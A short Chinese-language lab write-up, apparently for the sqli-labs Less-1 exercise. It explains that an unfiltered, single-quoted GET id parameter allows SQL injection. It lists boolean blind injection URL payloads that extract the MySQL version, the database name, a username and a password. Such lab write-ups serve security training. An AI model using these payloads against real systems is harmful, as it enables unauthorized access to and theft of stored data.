这是Less-1输入变量部分的源码,可以看到对于直接GET进来的文本没有过滤。
同时,在查询语句中,id=’$id’,变量加了引号。这里引号的意思是把输入的id当做字符串来处理,取从头开始的最长数字且类型转换为整形进行查询。
?id=12a 显示id为12的用户
?id=1a2a 显示id为1的用户
?id=102a 显示id为102的用户(不存在)
盲注
?id=1%27and+left(version(),1)=5%23 得出数据库版本为5开头
?id=1%27and+length(database())=8%23 数据库名长度为8
?id=1%27and+left(database(),8)='security'%23 数据库为security
?id=1%27and+length(username)=4%23 用户名长度为4
?id=1%27and+left(username,4)='Dumb'%23 用户名为Dumb
?id=1%27and+length(password)=4%23 密码长度为4
?id=1%27and+left(password,4)='Dumb'%23 密码为Dumb
虽然,他的密码已经摆在面上了- -但是还是可以练习一下的。